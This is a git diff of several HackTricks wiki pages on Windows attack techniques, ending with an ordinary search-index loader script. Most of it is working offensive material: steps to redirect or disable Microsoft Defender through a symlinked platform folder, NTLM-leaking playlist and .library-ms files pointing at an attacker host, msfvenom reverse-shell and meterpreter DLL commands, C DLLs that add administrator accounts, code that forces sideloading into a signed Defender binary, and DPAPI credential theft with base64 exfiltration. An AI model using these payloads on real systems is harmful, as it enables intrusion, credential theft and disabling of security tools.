- Works across PowerShell, WScript/CScript and custom loaders alike (anything that would otherwise load AMSI).
- Pair with feeding scripts over stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) to avoid long commandline artefacts.
- Seen used by loaders executed through LOLBins (e.g., `regsvr32` calling `DllRegisterServer`).
This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
**Remove the detected signature**
@ -892,6 +927,54 @@ References for PPL and tooling
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## Tampering Microsoft Defender via Platform Version Folder Symlink Hijack
Windows Defender chooses the platform it runs from by enumerating subfolders under:
- `C:\ProgramData\Microsoft\Windows Defender\Platform\`
It selects the subfolder with the highest lexicographic version string (e.g., `4.18.25070.5-0`), then starts the Defender service processes from there (updating service/registry paths accordingly). This selection trusts directory entries including directory reparse points (symlinks). An administrator can leverage this to redirect Defender to an attacker-writable path and achieve DLL sideloading or service disruption.
Preconditions
- Local Administrator (needed to create directories/symlinks under the Platform folder)
- Ability to reboot or trigger Defender platform re-selection (service restart on boot)
- Only built-in tools required (mklink)
Why it works
- Defender blocks writes in its own folders, but its platform selection trusts directory entries and picks the lexicographically highest version without validating that the target resolves to a protected/trusted path.
Step-by-step (example)
1) Prepare a writable clone of the current platform folder, e.g. `C:\TMP\AV`:
```cmd
set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0"
set DST="C:\TMP\AV"
robocopy %SRC% %DST% /MIR
```
2) Create a higher-version directory symlink inside Platform pointing to your folder:
```cmd
mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV"
```
3) Trigger selection (reboot recommended):
```cmd
shutdown /r /t 0
```
4) Verify MsMpEng.exe (WinDefend) runs from the redirected path:
```powershell
Get-Process MsMpEng | Select-Object Id,Path
# or
wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath
```
You should observe the new process path under `C:\TMP\AV\` and the service configuration/registry reflecting that location.
Post-exploitation options
- DLL sideloading/code execution: Drop/replace DLLs that Defender loads from its application directory to execute code in Defenders processes. See the section above: [DLL Sideloading & Proxying](#dll-sideloading--proxying).
- Service kill/denial: Remove the version-symlink so on next start the configured path doesnt resolve and Defender fails to start:
```cmd
rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0"
```
> [!TIP]
> Note that This technique does not provide privilege escalation by itself; it requires admin rights.
## References
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
@ -905,5 +988,9 @@ References for PPL and tooling
- [Sysinternals Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [Zero Salarium Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
- [Zero Salarium Break The Protective Shell Of Windows Defender With The Folder Redirect Technique](https://www.zerosalarium.com/2025/09/Break-Protective-Shell-Windows-Defender-Folder-Redirect-Technique-Symlink.html)
- [Microsoft mklink command reference](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
- [Check Point Research Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,69 @@
**Check all the great ideas from [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) from the download of a microsoft word file online to the ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md and [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
### Windows Media Player playlists (.ASX/.WAX)
If you can get a target to open or preview a Windows Media Player playlist you control, you can leak NetNTLMv2 by pointing the entry to a UNC path. WMP will attempt to fetch the referenced media over SMB and will authenticate implicitly.
Example payload:
```xml
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
</entry>
</asx>
```
Collection and cracking flow:
```bash
# Capture the authentication
sudo Responder -I <iface>
# Crack the captured NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
```
### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
Windows Explorer insecurely handles .library-ms files when they are opened directly from within a ZIP archive. If the library definition points to a remote UNC path (e.g., \\attacker\share), simply browsing/launching the .library-ms inside the ZIP causes Explorer to enumerate the UNC and emit NTLM authentication to the attacker. This yields a NetNTLMv2 that can be cracked offline or potentially relayed.
Minimal .library-ms pointing to an attacker UNC
```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<version>6</version>
<name>Company Documents</name>
<isLibraryPinned>false</isLibraryPinned>
<iconReference>shell32.dll,-235</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.2\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```
Operational steps
- Create the .library-ms file with the XML above (set your IP/hostname).
- Zip it (on Windows: Send to → Compressed (zipped) folder) and deliver the ZIP to the target.
- Run an NTLM capture listener and wait for the victim to open the .library-ms from inside the ZIP.
## References
- [HTB Fluffy ZIP .libraryms auth leak (CVE202524071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Morphisec 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,242 +0,0 @@
# Dll Hijacking
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
DLL Hijacking involves manipulating a trusted application into loading a malicious DLL. This term encompasses several tactics like **DLL Spoofing, Injection, and Side-Loading**. It's mainly utilized for code execution, achieving persistence, and, less commonly, privilege escalation. Despite the focus on escalation here, the method of hijacking remains consistent across objectives.
### Common Techniques
Several methods are employed for DLL hijacking, each with its effectiveness depending on the application's DLL loading strategy:
1. **DLL Replacement**: Swapping a genuine DLL with a malicious one, optionally using DLL Proxying to preserve the original DLL's functionality.
2. **DLL Search Order Hijacking**: Placing the malicious DLL in a search path ahead of the legitimate one, exploiting the application's search pattern.
3. **Phantom DLL Hijacking**: Creating a malicious DLL for an application to load, thinking it's a non-existent required DLL.
4. **DLL Redirection**: Modifying search parameters like `%PATH%` or `.exe.manifest` / `.exe.local` files to direct the application to the malicious DLL.
5. **WinSxS DLL Replacement**: Substituting the legitimate DLL with a malicious counterpart in the WinSxS directory, a method often associated with DLL side-loading.
6. **Relative Path DLL Hijacking**: Placing the malicious DLL in a user-controlled directory with the copied application, resembling Binary Proxy Execution techniques.
## Finding missing Dlls
The most common way to find missing Dlls inside a system is running [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) from sysinternals, **setting** the **following 2 filters**:
![](<../../images/image (311).png>)
![](<../../images/image (313).png>)
and just show the **File System Activity**:
![](<../../images/image (314).png>)
If you are looking for **missing dlls in general** you **leave** this running for some **seconds**.\
If you are looking for a **missing dll inside an specific executable** you should set **another filter like "Process Name" "contains" "\<exec name>", execute it, and stop capturing events**.
## Exploiting Missing Dlls
In order to escalate privileges, the best chance we have is to be able to **write a dll that a privilege process will try to load** in some of **place where it is going to be searched**. Therefore, we will be able to **write** a dll in a **folder** where the **dll is searched before** the folder where the **original dll** is (weird case), or we will be able to **write on some folder where the dll is going to be searched** and the original **dll doesn't exist** on any folder.
### Dll Search Order
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
**Windows applications** look for DLLs by following a set of **pre-defined search paths**, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires.
You can see the **DLL search order on 32-bit** systems below:
1. The directory from which the application loaded.
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
1. (_C:\Windows_)
5. The current directory.
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
That is the **default** search order with **SafeDllSearchMode** enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry value and set it to 0 (default is enabled).
If [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) function is called with **LOAD_WITH_ALTERED_SEARCH_PATH** the search begins in the directory of the executable module that **LoadLibraryEx** is loading.
Finally, note that **a dll could be loaded indicating the absolute path instead just the name**. In that case that dll is **only going to be searched in that path** (if the dll has any dependencies, they are going to be searched as just loaded by name).
There are other ways to alter the ways to alter the search order but I'm not going to explain them here.
#### Exceptions on dll search order from Windows docs
Certain exceptions to the standard DLL search order are noted in Windows documentation:
- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
### Escalating Privileges
**Requirements**:
- Identify a process that operates or will operate under **different privileges** (horizontal or lateral movement), which is **lacking a DLL**.
- Ensure **write access** is available for any **directory** in which the **DLL** will be **searched for**. This location might be the directory of the executable or a directory within the system path.
Yeah, the requisites are complicated to find as **by default it's kind of weird to find a privileged executable missing a dll** and it's even **more weird to have write permissions on a system path folder** (you can't by default). But, in misconfigured environments this is possible.\
In the case you are lucky and you find yourself meeting the requirements, you could check the [UACME](https://github.com/hfiref0x/UACME) project. Even if the **main goal of the project is bypass UAC**, you may find there a **PoC** of a Dll hijaking for the Windows version that you can use (probably just changing the path of the folder where you have write permissions).
Note that you can **check your permissions in a folder** doing:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
```
And **check permissions of all folders inside PATH**:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
You can also check the imports of an executable and the exports of a dll with:
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
{{#endref}}
### Automated tools
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)will check if you have write permissions on any folder inside system PATH.\
Other interesting automated tools to discover this vulnerability are **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._
### Example
In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that Dll Hijacking comes handy in order to [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) or from[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Moreover, in the **next sectio**n you can find some **basic dll codes** that might be useful as **templates** or to create a **dll with non required functions exported**.
## **Creating and compiling Dlls**
### **Dll Proxifying**
Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**.
With the tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) you can actually **indicate an executable and select the library** you want to proxify and **generate a proxified dll** or **indicate the Dll** and **generate a proxified dll**.
### **Meterpreter**
**Get rev shell (x64):**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Get a meterpreter (x86):**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Create a user (x86 I didn't see a x64 version):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### Your own
Note that in several cases the Dll that you compile must **export several functions** that are going to be loaded by the victim process, if these functions doesn't exist the **binary won't be able to load** them and the **exploit will fail**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
```
```c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
```
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
```
```c
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
```
## References
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -61,6 +61,99 @@ Finally, note that **a dll could be loaded indicating the absolute path instead
There are other ways to alter the ways to alter the search order but I'm not going to explain them here.
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdlls native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.
Key idea
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
Notes/limitations
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
Minimal C example (ntdll, wide strings, simplified error handling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
Operational usage example
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attackers DLL from a staging directory.
#### Exceptions on dll search order from Windows docs
Certain exceptions to the standard DLL search order are noted in Windows documentation:
@ -277,6 +370,9 @@ Lenovo released UWP version **1.12.54.0** via the Microsoft Store, which install
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -263,6 +263,47 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### Offline decryption with Impacket dpapi.py
If you have the victim users SID and password (or NT hash), you can decrypt DPAPI masterkeys and Credential Manager blobs entirely offline using Impackets dpapi.py.
- Identify artefacts on disk:
- Credential Manager blob(s): %APPDATA%\Microsoft\Credentials\<hex>
- Matching masterkey: %APPDATA%\Microsoft\Protect\<SID>\{GUID}
- If file transfer tooling is flaky, base64 the files on-host and copy the output:
```powershell
# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
```
- Decrypt the masterkey with the users SID and password/hash:
```bash
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'
# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
```
- Use the decrypted masterkey to decrypt the credential blob:
```bash
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>
```
This workflow often recovers domain credentials saved by apps using the Windows Credential Manager, including administrative accounts (e.g., `*_adm`).
---
### Handling Optional Entropy ("Third-party entropy")
Some applications pass an additional **entropy** value to `CryptProtectData`. Without this value the blob cannot be decrypted, even if the correct masterkey is known. Obtaining the entropy is therefore essential when targeting credentials protected in this way (e.g. Microsoft Outlook, some VPN clients).
@ -391,5 +432,7 @@ Decryption yields the complete JSON configuration, including every **device post
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
- [Impacket dpapi.py](https://github.com/fortra/impacket)
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -37,6 +37,7 @@ whoami /priv | findstr /i impersonate
Operational notes:
- If your shell runs under a restricted token lacking SeImpersonatePrivilege (common for Local Service/Network Service in some contexts), regain the accounts default privileges using FullPowers, then run a Potato. Example: `FullPowers.exe -c "cmd /c whoami /priv" -z`
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
@ -187,5 +188,7 @@ SigmaPotato adds modern niceties like in-memory execution via .NET reflection an
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
- [FullPowers Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -24,13 +24,15 @@
/* 2 — load a single index (remote → local) */
async function loadIndex(remote, local, isCloud=false){
let rawLoaded = false;
if(remote){
try {
const r = await fetch(remote,{mode:'cors'});
if (!r.ok) throw new Error('HTTP '+r.status);
importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'})));
rawLoaded = true;
} catch(e){ console.warn('remote',remote,'failed →',e); }
if(!rawLoaded){
}
if(!rawLoaded && local){
try { importScripts(abs(local)); rawLoaded = true; }
catch(e){ console.error('local',local,'failed →',e); }
}
@ -40,13 +42,41 @@
return data;
}
async function loadWithFallback(remotes, local, isCloud=false){
if(remotes.length){
const [primary, ...secondary] = remotes;
const primaryData = await loadIndex(primary, null, isCloud);
if(primaryData) return primaryData;
if(local){
const localData = await loadIndex(null, local, isCloud);
if(localData) return localData;
}
for (const remote of secondary){
const data = await loadIndex(remote, null, isCloud);
if(data) return data;
}
}
return local ? loadIndex(null, local, isCloud) : null;
}
(async () => {
const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js';
const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js';
const htmlLang = (document.documentElement.lang || 'en').toLowerCase();
const lang = htmlLang.split('-')[0];
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
const indices = [];
const main = await loadIndex(MAIN_RAW , '/searchindex.js', false); if(main) indices.push(main);
const cloud= await loadIndex(CLOUD_RAW, '/searchindex-cloud.js', true ); if(cloud) indices.push(cloud);
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
const cloud= await loadWithFallback(CLOUD_REMOTE_SOURCES, '/searchindex-cloud.js', true ); if(cloud) indices.push(cloud);
if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; }